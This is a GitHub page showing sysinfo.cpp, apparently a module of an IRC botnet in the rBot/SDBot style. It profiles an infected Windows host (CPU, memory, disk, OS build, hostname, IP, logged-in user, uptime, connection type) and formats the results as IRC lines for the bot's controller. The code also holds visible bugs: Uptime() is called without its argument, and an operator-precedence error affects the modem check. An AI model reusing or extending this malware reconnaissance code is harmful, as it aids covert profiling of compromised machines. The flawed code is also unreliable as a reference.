-
Notifications
You must be signed in to change notification settings - Fork 16
/
Copy pathsysinfo.cpp
164 lines (136 loc) · 5.23 KB
/
sysinfo.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
#include "includes.h"
#include "functions.h"
#include "externs.h"
char *Uptime(int startup)
{
static char buffer[50];
DWORD total = GetTickCount() / 1000 - startup;
DWORD days = total / 86400;
DWORD hours = (total % 86400) / 3600;
DWORD minutes = ((total % 86400) % 3600) / 60;
_snprintf(buffer, sizeof(buffer), "%dd %dh %dm", days, hours, minutes);
return (buffer);
}
int OSVersionCheck(void)
{
DWORD dwRet = OS_UNKNOWN;
OSVERSIONINFO verinfo;
verinfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
if (GetVersionEx(&verinfo)) {
if (verinfo.dwMajorVersion == 4 && verinfo.dwMinorVersion == 0) {
if (verinfo.dwPlatformId == VER_PLATFORM_WIN32_WINDOWS) dwRet = OS_WIN95;
if (verinfo.dwPlatformId == VER_PLATFORM_WIN32_NT) dwRet = OS_WINNT;
}
else if (verinfo.dwMajorVersion == 4 && verinfo.dwMinorVersion == 10) dwRet = OS_WIN98;
else if (verinfo.dwMajorVersion == 4 && verinfo.dwMinorVersion == 90) dwRet = OS_WINME;
else if (verinfo.dwMajorVersion == 5 && verinfo.dwMinorVersion == 0) dwRet = OS_WIN2K;
else if (verinfo.dwMajorVersion == 5 && verinfo.dwMinorVersion == 1) dwRet = OS_WINXP;
else if (verinfo.dwMajorVersion == 5 && verinfo.dwMinorVersion == 2) dwRet = OS_WIN2K3;
else dwRet = OS_UNKNOWN;
} else
dwRet = OS_UNKNOWN;
return (dwRet);
}
#ifndef NO_SYSINFO
// asm for cpuspeed() (used for counting cpu cycles)
#pragma warning( disable : 4035 )
inline unsigned __int64 GetCycleCount(void)
{
_asm {
_emit 0x0F;
_emit 0x31;
}
}
#pragma warning( default : 4035 )
// cpu speed function
unsigned __int64 GetCPUSpeed(void)
{
unsigned __int64 startcycle, speed, num, num2;
do {
startcycle = GetCycleCount();
Sleep(1000);
speed = ((GetCycleCount()-startcycle)/1000000);
} while (speed > 1000000);
num = speed % 100;
num2 = 100;
if (num < 80) num2 = 75;
if (num < 71) num2 = 66;
if (num < 55) num2 = 50;
if (num < 38) num2 = 33;
if (num < 30) num2 = 25;
if (num < 10) num2 = 0;
speed = (speed-num)+num2;
return (speed);
}
// function used for sysinfo
char *sysinfo(char *sinfo, SOCKET sock)
{
char *os="", os2[140];
OSVERSIONINFO verinfo;
verinfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); // required for some strange reason
GetVersionEx(&verinfo); // load version info into verinfo
if (verinfo.dwMajorVersion == 4 && verinfo.dwMinorVersion == 0) {
if (verinfo.dwPlatformId == VER_PLATFORM_WIN32_WINDOWS) os = "95";
if (verinfo.dwPlatformId == VER_PLATFORM_WIN32_NT) os = "NT";
}
else if (verinfo.dwMajorVersion == 4 && verinfo.dwMinorVersion == 10) os = "98";
else if (verinfo.dwMajorVersion == 4 && verinfo.dwMinorVersion == 90) os = "ME";
else if (verinfo.dwMajorVersion == 5 && verinfo.dwMinorVersion == 0) os = "2K";
else if (verinfo.dwMajorVersion == 5 && verinfo.dwMinorVersion == 1) os = "XP";
else if (verinfo.dwMajorVersion == 5 && verinfo.dwMinorVersion == 2) os = "2003";
else os = "???";
if (verinfo.dwPlatformId == VER_PLATFORM_WIN32_NT && verinfo.szCSDVersion[0] != '\0') {
sprintf(os2, "%s (%s)", os, verinfo.szCSDVersion);
os = os2;
}
DWORD cchBuff = 256; // check this, could be sizeof CurrentUser
char CurrentUser[256]="?";
if(fGetUserName)
fGetUserName(CurrentUser, &cchBuff);
char hostname[250];
DWORD addr = finet_addr(GetIP(sock));
HOSTENT *hostent = fgethostbyaddr((char *)&addr, sizeof(struct in_addr), AF_INET);
if (hostent != NULL)
sprintf(hostname,hostent->h_name);
else
sprintf(hostname,"couldn't resolve host");
char sysdir[MAX_PATH];
GetSystemDirectory(sysdir,sizeof(sysdir));
char date[70], time[70];
GetDateFormat(0x409,0,0,"dd:MMM:yyyy",date,70);
GetTimeFormat(0x409,0,0,"HH:mm:ss",time,70);
MEMORYSTATUS memstat;
memset(&memstat, 0, sizeof(memstat));
GlobalMemoryStatus(&memstat); // load memory info into memstat
char drive[10];
_splitpath(sysdir, drive, NULL, NULL, NULL);
DKSPKB dkspkb=DiskSpaceKB(drive);
_snprintf(sinfo, IRCLINE, "[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB total, %sKB free. [Disk]: %s total, %s free. [OS]: Windows %s (%d.%d, Build %d). [Sysdir]: %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s. [Time]: %s. [Uptime]: %s.",
GetCPUSpeed(), commaI64(memstat.dwTotalPhys / 1024), commaI64(memstat.dwAvailPhys / 1024), dkspkb.TotalKB, dkspkb.FreeKB, os,
verinfo.dwMajorVersion, verinfo.dwMinorVersion, verinfo.dwBuildNumber, sysdir, hostname, GetIP(sock), CurrentUser, date, time, Uptime());
return (sinfo); // return the sysinfo string
}
#endif
#ifndef NO_NETINFO
// function used for netinfo
char *netinfo(char *ninfo, char *host, SOCKET sock)
{
DWORD n;
char ctype[8], cname[128];
// get connection type/name
memset(cname, 0, sizeof(cname));
if (!nowininet) {
if (!fInternetGetConnectedStateEx(&n, (char *)&cname, sizeof(cname), 0))
sprintf(cname, "Not connected");
if (n & INTERNET_CONNECTION_MODEM == INTERNET_CONNECTION_MODEM)
sprintf(ctype, "Dial-up");
else
sprintf(ctype, "LAN");
} else {
sprintf(ctype, "N/A");
sprintf(cname, "N/A");
}
_snprintf(ninfo, IRCLINE, "[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.", ctype, cname, GetIP(sock), host);
return (ninfo); // return the netinfo string
}
#endif